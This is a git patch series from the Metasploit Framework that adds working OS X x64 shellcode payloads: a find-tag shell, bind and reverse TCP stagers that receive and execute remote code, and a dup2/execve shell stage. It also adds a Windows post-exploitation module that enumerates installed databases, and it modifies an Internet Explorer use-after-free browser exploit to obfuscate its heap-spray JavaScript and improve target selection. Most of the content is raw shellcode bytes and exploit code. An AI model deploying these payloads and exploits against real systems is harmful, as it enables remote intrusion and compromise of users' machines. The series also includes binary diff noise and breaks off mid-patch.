From dccb8d235dd68759ba972933e8030c289fdf908e Mon Sep 17 00:00:00 2001 From: dcbz Date: Fri, 21 Sep 2012 15:39:35 -0500 Subject: [PATCH 01/17] Adding OSX 64-bit find-tag module. --- .../singles/osx/x64/shell_find_tag.rb | 87 +++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 modules/payloads/singles/osx/x64/shell_find_tag.rb diff --git a/modules/payloads/singles/osx/x64/shell_find_tag.rb b/modules/payloads/singles/osx/x64/shell_find_tag.rb new file mode 100644 index 0000000000..28fef6216b --- /dev/null +++ b/modules/payloads/singles/osx/x64/shell_find_tag.rb @@ -0,0 +1,87 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/find_tag' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Payload::Osx + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX Command Shell, Find Tag Inline', + 'Version' => '$Revision$', + 'Description' => 'Spawn a shell on an established connection (proxy/nat safe)', + 'Author' => 'nemo ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::FindTag, + 'Session' => Msf::Sessions::CommandShellUnix + + )) + # exec payload options + register_options( + [ + OptString.new('CMD', [ true, "The command string to execute", "/bin/sh" ]), + OptString.new('TAG', [ true, "The tag to test for", "NEMO" ]), + ], self.class) + end + + # + # ensures the setting of tag to a four byte value + # + def generate + cmd = (datastore['CMD'] || '') << "\x00" + call = "\xe8" + [cmd.length].pack('V') + payload = + "\x48\x31\xFF" + # xor rdi,rdi + "\x57" + # push rdi + "\x48\x89\xE6" + # mov rsi,rsp + "\x6A\x04" + # push byte +0x4 + "\x5A" + # pop rdx + "\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2] + "\x4D\x31\xC0" + # xor r8,r8 + "\x4D\x31\xC9" + # xor r9,r9 + "\x48\xFF\xCF" + # dec rdi + "\x48\xFF\xC7" + # inc rdi + "\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d + "\x0F\x05" + # loadall286 + "\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f + datastore['TAG'] + + "\x75\xED" + # jnz 0x17 + "\x48\x31\xC9" + # xor rcx,rcx + "\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d + "\x0F\x05" + # loadall286 + "\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a + "\x48\x31\xF6" + # xor rsi,rsi + "\x0F\x05" + # loadall286 + "\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a + "\x48\xFF\xC6" + # inc rsi + "\x0F\x05" + # loadall286 + "\x48\x31\xC0" + # xor rax,rax + "\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b + call + + cmd + + "\x48\x8B\x3C\x24" + # mov rdi,[rsp] + "\x48\x31\xD2" + # xor rdx,rdx + "\x52" + # push rdx + "\x57" + # push rdi + "\x48\x89\xE6" + # mov rsi,rsp + "\x0F\x05" # loadall286 + end + +end From 81ceff73703db31faf7c04dc5d7184052aac8fb2 Mon Sep 17 00:00:00 2001 From: dcbz Date: Sat, 22 Sep 2012 07:24:51 -0500 Subject: [PATCH 02/17] Added a tcp stager, and a small exec for testing --- modules/payloads/stagers/osx/x64/bind_tcp.rb | 113 ++++++++++++++++++ .../payloads/stages/osx/x64/dupandexecve.rb | 42 +++++++ 2 files changed, 155 insertions(+) create mode 100644 modules/payloads/stagers/osx/x64/bind_tcp.rb create mode 100644 modules/payloads/stages/osx/x64/dupandexecve.rb diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb new file mode 100644 index 0000000000..4202c42ed7 --- /dev/null +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -0,0 +1,113 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' + +### +# +# BindTcp +# ------- +# +# Mac OS X x86 bind TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = { }) + super(merge_info(info, + 'Name' => 'Bind TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Listen, read length, read buffer, execute', + 'Author' => 'nemo', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::BindTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'Offsets' => { 'LPORT' => [ 31, 'n'] }, + 'Payload' => + "\xB8\x61\x00\x00\x02" + # mov eax,0x2000061 + "\x6A\x02" + # push byte +0x2 + "\x5F" + # pop rdi + "\x6A\x01" + # push byte +0x1 + "\x5E" + # pop rsi + "\x48\x31\xD2" + # xor rdx,rdx + "\x0F\x05" + # loadall286 + "\x48\x89\xC7" + # mov rdi,rax + "\xB8\x68\x00\x00\x02" + # mov eax,0x2000068 + "\x48\x31\xF6" + # xor rsi,rsi + "\x56" + # push rsi + "\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200 + "\x56" + # push rsi + "\x48\x89\xE6" + # mov rsi,rsp + "\x6A\x10" + # push byte +0x10 + "\x5A" + # pop rdx + "\x0F\x05" + # loadall286 + "\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a + "\x48\x31\xF6" + # xor rsi,rsi + "\x48\xFF\xC6" + # inc rsi + "\x49\x89\xFC" + # mov r12,rdi + "\x0F\x05" + # loadall286 + "\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e + "\x4C\x89\xE7" + # mov rdi,r12 + "\x48\x89\xE6" + # mov rsi,rsp + "\x48\x89\xE2" + # mov rdx,rsp + "\x48\x83\xEA\x04" + # sub rdx,byte +0x4 + "\x0F\x05" + # loadall286 + "\x49\x89\xC5" + # mov r13,rax + "\x48\x89\xC7" + # mov rdi,rax + "\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d + "\x48\x31\xC9" + # xor rcx,rcx + "\x51" + # push rcx + "\x48\x89\xE6" + # mov rsi,rsp + "\xBA\x04\x00\x00\x00" + # mov edx,0x4 + "\x4D\x31\xC0" + # xor r8,r8 + "\x4D\x31\xD2" + # xor r10,r10 + "\x0F\x05" + # loadall286 + "\x41\x5B" + # pop r11 + "\x4C\x89\xDE" + # mov rsi,r11 + "\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000 + "\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000 + "\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5 + "\x48\x31\xFF" + # xor rdi,rdi + "\x48\xFF\xCF" + # dec rdi + "\xBA\x07\x00\x00\x00" + # mov edx,0x7 + "\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002 + "\x49\x89\xF8" + # mov r8,rdi + "\x4D\x31\xC9" + # xor r9,r9 + "\x0F\x05" + # loadall286 + "\x48\x89\xC6" + # mov rsi,rax + "\x56" + # push rsi + "\x4C\x89\xEF" + # mov rdi,r13 + "\x48\x31\xC9" + # xor rcx,rcx + "\x4C\x89\xDA" + # mov rdx,r11 + "\x4D\x31\xC0" + # xor r8,r8 + "\x4D\x31\xD2" + # xor r10,r10 + "\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d + "\x0F\x05" + # loadall286 + "\x58" + # pop rax + "\xFF\xD0" # call rax + } + )) + end + + def handle_intermediate_stage(conn, p) + # + # Our stager payload expects to see a next-stage length first. + # + conn.put([p.length].pack('V')) + end +end diff --git a/modules/payloads/stages/osx/x64/dupandexecve.rb b/modules/payloads/stages/osx/x64/dupandexecve.rb new file mode 100644 index 0000000000..afe727791d --- /dev/null +++ b/modules/payloads/stages/osx/x64/dupandexecve.rb @@ -0,0 +1,42 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OS X dup2 Command Shell', + 'Version' => '$Revision$', + 'Description' => 'dup2 socket in edi, then execve', + 'Author' => 'nemo', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Session' => Msf::Sessions::CommandShell, + 'Stage' => + { + 'Payload' => + "\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+ + "\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+ + "\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+ + "\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+ + "\x52\x57\x48\x89\xe6\x0f\x05" + } + )) + end + +end From 09b8a6d87fbdc60f95e370f234ecaa78d5293ef8 Mon Sep 17 00:00:00 2001 From: dcbz Date: Sat, 22 Sep 2012 08:31:42 -0500 Subject: [PATCH 03/17] Added reverse_tcp stager payload, and updated bind --- modules/payloads/stagers/osx/x64/bind_tcp.rb | 2 +- .../payloads/stagers/osx/x64/reverse_tcp.rb | 69 +++++++++++++++++++ 2 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 modules/payloads/stagers/osx/x64/reverse_tcp.rb diff --git a/modules/payloads/stagers/osx/x64/bind_tcp.rb b/modules/payloads/stagers/osx/x64/bind_tcp.rb index 4202c42ed7..4390b1b41c 100644 --- a/modules/payloads/stagers/osx/x64/bind_tcp.rb +++ b/modules/payloads/stagers/osx/x64/bind_tcp.rb @@ -29,7 +29,7 @@ module Metasploit3 'Name' => 'Bind TCP Stager', 'Version' => '$Revision$', 'Description' => 'Listen, read length, read buffer, execute', - 'Author' => 'nemo', + 'Author' => 'nemo ', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, diff --git a/modules/payloads/stagers/osx/x64/reverse_tcp.rb b/modules/payloads/stagers/osx/x64/reverse_tcp.rb new file mode 100644 index 0000000000..02585e916e --- /dev/null +++ b/modules/payloads/stagers/osx/x64/reverse_tcp.rb @@ -0,0 +1,69 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' + +### +# +# ReverseTcp +# ------- +# +# Mac OS X x86 Reverse TCP stager. +# +### +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = { }) + super(merge_info(info, + 'Name' => 'Reverse TCP Stager', + 'Version' => '$Revision$', + 'Description' => 'Connect, read length, read buffer, execute', + 'Author' => 'nemo ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Convention' => 'sockedi', + 'Stager' => + { + 'Offsets' => + { + 'LHOST' => [ 37, 'ADDR'], + 'LPORT' => [ 35, 'n'] + }, + 'Payload' => + "\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" + + "\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" + + "\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" + + "\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" + + "\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" + + "\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" + + "\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" + + "\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" + + "\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" + + "\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" + + "\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" + + "\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" + + "\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0" + } + )) + end + + def handle_intermediate_stage(conn, p) + # + # Our stager payload expects to see a next-stage length first. + # + conn.put([p.length].pack('V')) + end +end From 202a78dd3f58856c959682170774641a935547b7 Mon Sep 17 00:00:00 2001 From: dcbz Date: Sat, 22 Sep 2012 09:13:29 -0500 Subject: [PATCH 04/17] Added say.rb: uses /usr/bin/say to output a string --- modules/payloads/singles/osx/x64/say.rb | 56 +++++++++++++++++++++++++ 1 file changed, 56 insertions(+) create mode 100644 modules/payloads/singles/osx/x64/say.rb diff --git a/modules/payloads/singles/osx/x64/say.rb b/modules/payloads/singles/osx/x64/say.rb new file mode 100644 index 0000000000..476097996b --- /dev/null +++ b/modules/payloads/singles/osx/x64/say.rb @@ -0,0 +1,56 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +module Metasploit3 + + include Msf::Payload::Single + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'OSX X64 say Shellcode', + 'Version' => '$Revision$', + 'Description' => 'Say an arbitrary string outloud using Mac OS X text2speech', + 'Author' => 'nemo ', + 'License' => MSF_LICENSE, + 'Platform' => 'osx', + 'Arch' => ARCH_X86_64 + )) + + # exec payload options + register_options( + [ + OptString.new('SAY', [ true, "The string to say", "owned by nemo"]), + ], self.class) + end + + # build the shellcode payload dynamically based on the user-provided CMD + def generate + say = (datastore['SAY'] || '') << "\x00" + call = "\xe8" + [say.length + 0xd].pack('V') + payload = + "\x48\x31\xC0" + # xor rax,rax + "\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b + call + + "/usr/bin/say\x00" + + say + + "\x48\x8B\x3C\x24" + # mov rdi,[rsp] + "\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd] + "\x48\x31\xD2" + # xor rdx,rdx + "\x52" + # push rdx + "\x41\x52" + # push r10 + "\x57" + # push rdi + "\x48\x89\xE6" + # mov rsi,rsp + "\x0F\x05" # loadall286 + end +end From 10e1574d8a4ea7ad211cd9590a0ed0288488077d Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 22 Sep 2012 16:16:54 -0500 Subject: [PATCH 05/17] Bugfix with dragging tabbed panes when right-clicked. Also don't displaly annoying null pointer error when no connection. --- data/gui/msfgui.jar | Bin 797495 -> 799736 bytes .../src/msfgui/DraggableTabbedPane.java | 14 ++++++++++++-- .../msfguijava/src/msfgui/RpcConnection.java | 3 ++- 3 files changed, 14 insertions(+), 3 deletions(-) diff --git a/data/gui/msfgui.jar b/data/gui/msfgui.jar index 34e09347dc4590919fa35a6c6b4aa94ed59401a5..f86f69c44821b33cdbc2ab5daaba34f8f344287a 100755 GIT binary patch delta 18034 zcmaKU2YgT0`~NwgbwA@K5;7z*B@#j+v5CDSW^18mz zwp!KJs#>+FQLCY-(eQsi=X{b%zy19`Ugw^BpLL$+InQ~{xHsG<5+7er^lqPOwm2EH zGqy9cMx#02vGyIPZ+w{8b56a%)@t#6t5n0q z$n>(J!D*LfB=m6v#WEDne%(v+FF9mDO03&Z1d4BWp~U zQK4Uq5i!MT1byyp#19L1IQ#VLH(<<|=tN`v%;u$8BC|jb&TNb^C`mH#>+24uiz zfOA}HFc+@6ytkq*fhW#i&PlnVG*-A%F#~?(@XFzh~U#Jk&Uv6Jkl^tc>A1 z#ZNTMvpI~|ndL?PbIoe3TN-X8FG(=|nBoQc^)nqNUfpOvGs-wSJDFE8W(})pw99J3 z-xB*DXyL}DtS8+jGAEzJTs(vM@hPkf&t#$eT~?F7$LjNGtQnuqI`9uz4?cqp=QG(@ zK8wB0XR`%7i{)^Gt>SapHa?GS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#*8QpJv%&v4W;Em^c>-$8z^S)1U;J69-rKF z;bf?!Qc&&ihKlpMmQedgDcS3j6Ue+qim*FDk0TXtjuCOBSI}2$8jIXyJzB&i>i7yw zR855RgANjxl9HI-zgN=++~jY@=?wn&1zI4SnqEKPo)=?O;$Tt!FFUhxU#03yqRfT2 zN!3RmD_nAtni4-f+ikQJMo=jzy<>vnoCr=BvM34CR(w=K#$EJC??@bV#{@|#1*My0 zE6&a99X3%dS$d*jGE~g}LJ?*r>xIb^<7WP7JcQ{~3VI^%0CD1fiV)98F!To{SSZe6 z#eYEYPbY|GDPU-SPBF|$k)B&axFxp~?)8KJ6?#n!m!2wyTB+DCggI}{S<#|`=A_x3 zqUI8W=mN09s12#eJ`)2KGPUA=bxr52*9nnm7nRujegVwR{Jw;g3l-JN=tZHdT^T4# zO?8U?m7I}cei_}1rkJ6#Z+0m(moq8_- Date: Mon, 24 Sep 2012 20:34:26 +0200 Subject: [PATCH 06/17] fixing and cleanup for pull #802 --- modules/post/windows/gather/enum_db.rb | 339 +++++++++++++++++++++++++ 1 file changed, 339 insertions(+) create mode 100644 modules/post/windows/gather/enum_db.rb diff --git a/modules/post/windows/gather/enum_db.rb b/modules/post/windows/gather/enum_db.rb new file mode 100644 index 0000000000..2d34e528ae --- /dev/null +++ b/modules/post/windows/gather/enum_db.rb @@ -0,0 +1,339 @@ +## +# ## This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex' +require 'msf/core' +require 'msf/core/post/file' +require 'msf/core/post/common' +require 'msf/core/post/windows/registry' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Common + include Msf::Post::Windows::Registry + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Database Instance Enumeration', + 'Description' => %q{ This module will enumerate a windows system for installed database instances }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Barry Shteiman ', # Module author + 'juan vazquez' # minor help + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + # method called when command run is issued + def run + + results = [] + + print_status("Enumerating Databases on #{sysinfo['Computer']}") + if check_mssql + results += enumerate_mssql + end + if check_oracle + results += enumerate_oracle + end + if check_db2 + results += enumerate_db2 + end + if check_mysql + results += enumerate_mysql + end + if check_sybase + results += enumerate_sybase + end + + if results.empty? + print_status("Done, No Databases were found") + return + end + + print_status("Done, Databases Found.") + + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Installed Databases", + 'Indent' => 1, + 'Columns' => + [ + "Type", + "Instance", + "Database", + "Port" + ]) + + results.each { |r| + report_service(:host => session.sock.peerhost, :port => r[3], :name => r[0], :info => "#{r[0]}, #{r[1]}") + tbl << r + } + + print_line(tbl.to_s) + p = store_loot("host.databases", "text/plain", session, tbl.to_s, "databases.txt", "Running Databases") + print_status("Results stored in: #{p}") + + end + + ##### initial identification methods ##### + + # method for Checking if database instances are installed on host - mssql + def check_mssql + key = "HKLM\\SOFTWARE\\Microsoft" + if registry_enumkeys(key).include?("Microsoft SQL Server") + print_status("\tMicrosoft SQL Server found.") + return true + end + return false + rescue + return false + end + + # method for Checking if database instances are installed on host - oracle + def check_oracle + key = "HKLM\\SOFTWARE\\Oracle" + if registry_enumkeys(key).include?("ALL_HOMES") + print_status("\tOracle Server found.") + return true + elsif registry_enumkeys(key).include?("SYSMAN") + print_status("\tOracle Server found.") + return true + end + return false + rescue + return false + end + + # method for Checking if database instances are installed on host - db2 + def check_db2 + key = "HKLM\\SOFTWARE\\IBM\\DB2" + if registry_enumkeys(key).include?("GLOBAL_PROFILE") + print_status("\tDB2 Server found.") + return true + end + return false + rescue + return false + end + + # method for Checking if database instances are installed on host - mysql + def check_mysql + key = "HKLM\\SOFTWARE" + if registry_enumkeys(key).include?("MySQL AB") + print_status("\tMySQL Server found.") + return true + end + return false + rescue + return false + end + + # method for Checking if database instances are installed on host - sybase + def check_sybase + key = "HKLM\\SOFTWARE\\Sybase" + if registry_enumkeys(key).include?("SQLServer") + print_status("\tSybase Server found.") + return true + elsif registry_enumkeys(key).include?("Server") + print_status("\tSybase Server found.") + return true + end + return false + rescue + return false + end + + ##### deep analysis methods ##### + + # method to identify mssql instances + def enumerate_mssql + results = [] + key = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL" + instances = registry_enumvals(key) + if not instances.nil? and not instances.empty? + instances.each do |i| + tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll" + tcpport = registry_getvaldata(tcpkey,"TcpPort") + print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})") + results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport] + end + end + return results + rescue + print_error("\t\t! could not identify information") + return results || [] + end + + # method to identify oracle instances + def enumerate_oracle + results = [] + basekey = "HKLM\\SOFTWARE\\Oracle\\SYSMAN" + instances = registry_enumkeys(basekey) + if instances.nil? or instances.empty? + print_error("\t\t! Oracle instances not found") + return results + end + + instances.each do |i| + key = "#{basekey}\\#{i}" + val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID") + val_ORACLE_HOME = registry_getvaldata(key,"ORACLE_HOME") + + if not exist?(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora") + print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)") + next + end + + data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora") + if data_TNSNAMES =~ /PORT\ \=\ (\d+)/ + port = $1 + print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})") + results << [ "oracle","instance:#{val_ORACLE_SID} port:#{port}","Oracle Database Server",port ] + else + print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)") + end + end + + return results + + rescue + print_error("\t\t! could not identify information") + return results || [] + end + + # method to identify mysql instances + def enumerate_mysql + results = [] + basekey = "HKLM\\SOFTWARE\\MySQL AB" + instances = registry_enumkeys(basekey) + if instances.nil? or instances.empty? + return results + end + instances.each do |i| + key = "#{basekey}\\#{i}" + val_location = registry_getvaldata(key,"Location") + + data = find_mysql_conf(val_location) + + if data and data =~ /port\=(\d+)/ + port = $1 + print_good("\t\t+ MYSQL (Port:#{port})") + results << ["mysql","instance:MYSQL port:#{port}","MySQL Server",port] + else + print_error("\t\t! could not identify information") + end + end + return results + rescue + print_error("\t\t! could not identify information") + return results || [] + end + + # method to identify sybase instances + def enumerate_sybase + basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer" + instance = registry_getvaldata(basekey,"DSLISTEN") + location = registry_getvaldata(basekey,"RootDir") + results = [] + + if not exist?(location + "\\ini\\sql.ini") + print_error("\t\t! could not locate configuration file.") + return results + end + + data = read_file(location + "\\ini\\sql.ini") + if data =~ /\[#{instance}\]([^\[]*)/ + segment = $1 + else + print_error("\t\t! couldnt locate information.") + return results + end + + if segment =~ /master\=\w+\,[^\,]+\,(\d+)/ + port = $1 + else + print_error("\t\t! couldnt locate information.") + return results + end + + print_good("\t\t+ #{instance} (Port:#{port})") + results << [ "sybase","instance:#{instance} port:#{port}","Sybase SQL Server",port ] + return results + rescue + print_error("\t\t! couldnt locate information.") + return results || [] + end + + # method to identify db2 instances + def enumerate_db2 + results = [] + cmd_i = cmd_exec("db2cmd", "-i -w /c db2ilist") + cmd_p = cmd_exec("db2cmd", "-i -w /c db2 get dbm cfg") + if cmd_p =~ /\ ?TCP\/IP\ Service\ name[\ ]+\(SVCENAME\)\ =\ (\w+)/ + port = $1 + else + print_error("\t\t! could not identify instances information") + return results + end + + windir = session.fs.file.expand_path("%windir%") + getfile = session.fs.file.search(windir + "\\system32\\drivers\\etc\\","services.*",recurse=true,timeout=-1) + + data = nil + getfile.each do |file| + if exist?("#{file['path']}\\#{file['name']}") + data = read_file("#{file['path']}\\#{file['name']}") + break if not data.nil? + end + end + + if data and data =~ /#{port}[\ \t]+(\d+)/ + port_t = $1 + else + print_error("\t\t! could not identify instances information") + return results + end + + cmd_i.split("\n").compact.each do |line| + stripped=line.strip + print_good("\t\t+ #{stripped} (Port:#{port_t})") + results << [ "db2","instance:#{stripped} port:#{port_t}","DB2 Server",port_t ] + end + + return results + + rescue + print_error("\t\t! could not identify instances information") + return results || [] + end + + ##### helper methods ##### + + def find_mysql_conf(val_location) + data = nil + if exist?(val_location + "\\my.ini") + data = read_file(val_Location + "\\my.ini") + elsif exist?(val_location + "\\my.cnf") + data = read_file(val_location + "\\my.cnf") + else + sysdriv=session.fs.file.expand_path("%SYSTEMDRIVE%") + getfile = session.fs.file.search(sysdriv + "\\","my.ini",recurse=true,timeout=-1) + getfile.each do |file| + if exist?("#{file['path']}\\#{file['name']}") + data = read_file("#{file['path']}\\#{file['name']}") + break + end + end + end + return data + end + +end \ No newline at end of file From 2784a5ea2d7b9aceadab811ca90ce96bca945b81 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 24 Sep 2012 21:28:34 +0200 Subject: [PATCH 07/17] added js obfuscation for heap spray --- modules/exploits/windows/browser/ie_execcommand_uaf.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index c13609a069..aa7dac9eaa 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -78,6 +78,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) + ], self.class) + end def get_target(agent) @@ -283,6 +289,10 @@ class Metasploit3 < Msf::Exploit::Remote end js = heaplib(js, {:noobfu => true}) + if datastore['OBFUSCATE'] + js = ::Rex::Exploitation::JSObfu.new(js) + js.obfuscate + end html = <<-EOS From 25e6990dc73a4c520c8bccaf46bfe5576d4e9f23 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 24 Sep 2012 21:49:32 +0200 Subject: [PATCH 08/17] added osvdb reference --- modules/exploits/linux/http/zen_load_balancer_exec.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index fbf7cbe588..118ddfc133 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -29,6 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'References' => [ + ['OSVDB', '85654'], ['URL', 'http://itsecuritysolutions.org/2012-09-21-ZEN-Load-Balancer-v2.0-and-v3.0-rc1-multiple-vulnerabilities/'] ], 'DefaultOptions' => From 2db2c780d62d28307226a11c692e93addd72f839 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 24 Sep 2012 17:38:19 -0500 Subject: [PATCH 09/17] Additional changes Updated get_target function, comment for original author, possible bug in handling page redirection. --- .../windows/browser/ie_execcommand_uaf.rb | 56 +++++++++++-------- 1 file changed, 32 insertions(+), 24 deletions(-) diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index aa7dac9eaa..cb24f19783 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'unknown', # Some secret ninja + 'unknown', # via ZDI 'eromang', # First public discovery 'binjo', 'sinn3r', # Metasploit @@ -90,21 +90,28 @@ class Metasploit3 < Msf::Exploit::Remote #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' - if agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ - return targets[1] #IE 7 on Windows XP SP3 - elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ - return targets[2] #IE 8 on Windows XP SP3 - elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ - return targets[3] #IE 7 on Windows Vista - elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8/ - return targets[4] #IE 8 on Windows Vista - elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ - return targets[5] #IE 8 on Windows 7 - elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/ - return targets[6] #IE 9 on Windows 7 - else - return nil + nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' + ie = agent.scan(/MSIE (\d)/).flatten[0] || '' + + ie_name = "IE #{ie}" + + case nt + when '5.1' + os_name = 'Windows XP SP3' + when '6.0' + os_name = 'Windows Vista' + when '6.1' + os_name = 'Windows 7' end + + targets.each do |t| + if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) + vprint_status("Target selected as: #{t.name}") + return t + end + end + + return nil end def junk(n=4) @@ -294,7 +301,7 @@ class Metasploit3 < Msf::Exploit::Remote js.obfuscate end - html = <<-EOS + html = %Q| - EOS + | return html end @@ -345,10 +352,13 @@ class Metasploit3 < 